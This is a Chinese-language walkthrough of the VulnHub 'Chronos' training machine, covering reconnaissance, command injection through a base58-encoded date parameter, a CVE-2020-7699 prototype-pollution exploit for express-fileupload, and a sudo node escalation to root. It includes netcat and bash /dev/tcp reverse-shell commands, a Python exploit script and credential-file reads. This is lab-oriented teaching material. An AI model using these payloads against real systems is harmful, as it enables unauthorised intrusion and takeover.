VulnHub靶机-Chronos | 红队打靶
2023-5-22 09:3:13 Author: 0x00实验室(查看原文) 阅读量:10 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 03 篇文章 

靶机地址:

https://www.vulnhub.com/entry/chronos-1,735/

一、主机发现

使用netdiscover工具来进行主机发现(建议只用这款工具的时候,子网掩码比实际的少8位,这样的速度会更快)

netdiscover -r 192.168.56.0/16  

靶机的ip:192.168.56.105kaliip:192.168.56.103

二、对靶机进一步的探测

1、对靶机进行操作系统、开放端口、运行的服务进行探测

nmap -sT -O -sV -p- 192.168.56.105

可以看到22端口开放的是ssh服务,版本是openssh 7.6p1;80端口跑的是apache的一个http服务;8080端口跑的是使用node.js的Express框架搭建的http服务。

操作系统判断是Linux4.15-5.6

2、使用浏览器对80和8080端口进行访问以及进一步探测

访问80端口,显示一个Chronos - Date & Time

访问8080端口,显示无法连接

那么先对80端口进行目录爆破,看有没有可以利用的目录或者文件

gobuster dir -u http://192.168.56.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

没有发现一些有用的目录或者文件

在80端口页面使用ctrl+u快捷键查看80端口的源码

这是一个html的代码,但是在代码的底部发现一段特殊的js代码

粘贴到编辑器

这段代码,很多都被加密,但是有一段很是吸引人,并且没有被加密,但是它的参数数据被加密

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'

分析一下这段代码,去给chronos.local的8000端口发送一段请求,chronos.local好像是在说靶机本地的8000端口,结合前面的端口发现(还有8000端口无法连接),会不会需要去访问这个域名才能去访问8000端口;所以,去修改kali的host文件,将靶机的这个域名指向靶机8000端口

vim /etc/hosts

重新访问80端口(因为这段代码是在80端口的源代码中)

发现页面出现当前的时间

3、使用Burp Suite去抓取80端口的数据包,进行分析页面变化的原因

在历史记录里面,看到一个get请求,请求的数据包含刚才分析的代码数据

使用到在线的一款工具:cyberchef;去分析发送请求的数据(像base64),使用到cyberchef的一个magic模块

分析出这个数据是一个base58,并且解码成'+Today is %A, %B %d, %Y %H:%M:%S.'

看到这个解码的信息,很像是linux的date命令

在自己的kali上进行测试,date '+Today is %A, %B %d, %Y %H:%M:%S.'

发现和80端口的返回信息一样

在Burp Suite上进一步验证,将刚才的数据包的参数信息修改,重新发送,服务端没有任何返回

那么可以知道80端口的页面变化信息是由format后面的数据结合服务段的date命令进行返回的

三、获取初始shell

结合上面的信息收集和进一步的探测,可以利用format后面的参数来尝试反弹shell

linux里由很多类似管道符的符号,比如&,||,&,&&等等

1、利用&&的作用,先用Burp Suite发包去探测是否可以使用

因为刚才的代码中,format后面的数据是base58加密,那么可以确定服务端会对format后面的数据进行base58解密,所以要对要传入的数据进行base58加密

&& cat /etc/passwd,加密2amsWhMPZo2e6rNkDbzeRBaZH,通过Burp Suite发包

返回/etc/passwd的数据

&& cd /bin && ls -la,加密(后续默认都已加密发送),发包

发现有bash,也有nc

&&which nc,判断nc是否可以使用,返回Something went wrong,可能对format参数有判断或者过滤

&& nc 192.168.56.103 4444,尝试去连接一下kali(如果发包没有返回,可以尝试去重启靶机)

靶机连接到我的kali,证明没有进行过滤处理,只是进行验证而已

那么尝试去反弹shell

&& nc 192.168.56.103 4444 -e /bin/bash

没有反弹shell,那么nc的版本可能过久,没有-e参数

使用nc串联去反弹shell

&& nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555 成功反弹shell,获取到初始shell

1、第一次提权(imera)

sudo -l没有权限访问

cat /etc/crontab查看定时任务

发现有定时任务,但是这个定时任务的目录下,发现有文件,但是没有权限

当前的目录为/opt/chronos,ls发现有一个package.json,查看一下,这是node.js的引用库

同样来到/opt/chronos-v2,发现有backend目录,进去发现也和/opt/chronos一样的文件,但是多了一个server.js,查看package.json和server.js

发现server.js是一个只允许靶机本地访问的服务,开放在本地的8080端口,是用来文件上传的服务

而package.json中多了一个模块,express-fileupload

通过百度等搜索引擎,发现node.js有一个“原型污染“的漏洞,漏洞编号CVE-2020-7699,而这个漏洞的要求是”parseNested”特征为ture,靶机刚好满足这个要求,那么寻找exp

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': ( None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command
requests.get('http://127.0.0.1:8080')

将代码上传到靶机(shell.py)

python3 shell.py执行(kali开启监听),提权成功,

2、第二次提权(root)

输入sudo -l,有可以不用root密码就可以执行的文件

那么通过node来进行提权(sudo滥用的文件可以通过搜索引擎去找到相应提权的技巧)

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

提升为root权限并且拿到第二个flag

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489910&idx=1&sn=ceeb8762f0f168d37abe8c522326fc8b&chksm=cfd86689f8afef9f3f47ef3db08d66868270ef8f20a785b733dda12efddc25ed5d8b19c95730#rd
如有侵权请联系:admin#unsafe.sh